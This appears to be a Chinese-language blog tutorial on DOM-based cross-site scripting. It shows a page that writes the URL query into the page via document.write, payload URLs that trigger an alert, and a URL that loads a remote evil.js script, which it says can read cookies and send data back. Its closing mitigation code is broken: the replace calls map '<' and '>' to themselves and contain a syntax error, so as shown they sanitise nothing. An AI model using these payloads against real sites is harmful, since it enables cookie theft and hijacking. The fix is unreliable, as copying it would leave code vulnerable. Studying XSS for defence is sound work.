<!doctype html> <html> <head> <title>這是標題</title> <meta charset="utf-8"> </head> <body> <script> var name = decodeURIComponent(window.location.search.substring(1)); // 獲取參數 console.log(name); document.write("hello " + name); </script> </body> </html>
訪問
http://abc.com:8887/?%20word
頁面輸出
hello word
這是一個灰常正經的頁面。
下面如果嘗試輸入
http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script
事實上現在的瀏覽器很智能了。已經自動解析了。已經自動暫停解析了,最后加上%3e被瀏覽器攔截,自動的,去掉以后,由于容錯機制,自動生成
好吧,要不是這容錯機制,xss還沒法實驗呢。無奈,現在太智能了,小白的手法,已經不行嘍
<script> </script>
導致能允許。好吧,去掉自動攔截,chrome直接禁止訪問了。╮(╯▽╰)╭
使用的是預解析,自動平衡樹
此時script變身成為
document.write('hello ' + <script>alert("David")</script)
好啦,接著,就會出現一個彈窗,David
因為使用這個url自動生成一個另外一個腳本,由于瀏覽器自動的安全措施,所以使用瀏覽器頁面預解析,寫一個不平衡的樹,初始瀏覽器解析的時候自動添加上
<script> </script>
導致出現彈窗,xss完成
接著下面還有
使用src引入一個腳本。
http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E
這樣就完成了一次腳本的注入。會將其他站點的腳本,通過連接進行注入。
可以對該站點的內容做任何的操作,以及讀取cookie,以及將數據發送回站點
通過使用replace()全部替換為實體即可。
name = name.replace(/</g, "<"),replace(/>/g, ">");
xss和sql注入一樣,屬于小白攻擊法,要說簡單也很簡單,要說難也很難
如果一個站點無限彈窗,瀏覽器會卡死。包括使用js挖礦什么的,都不值得一提了。
相關文章:
利用PHP編程防范XSS跨站腳本攻擊
如何利用php防止XSS跨站腳本攻擊
聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com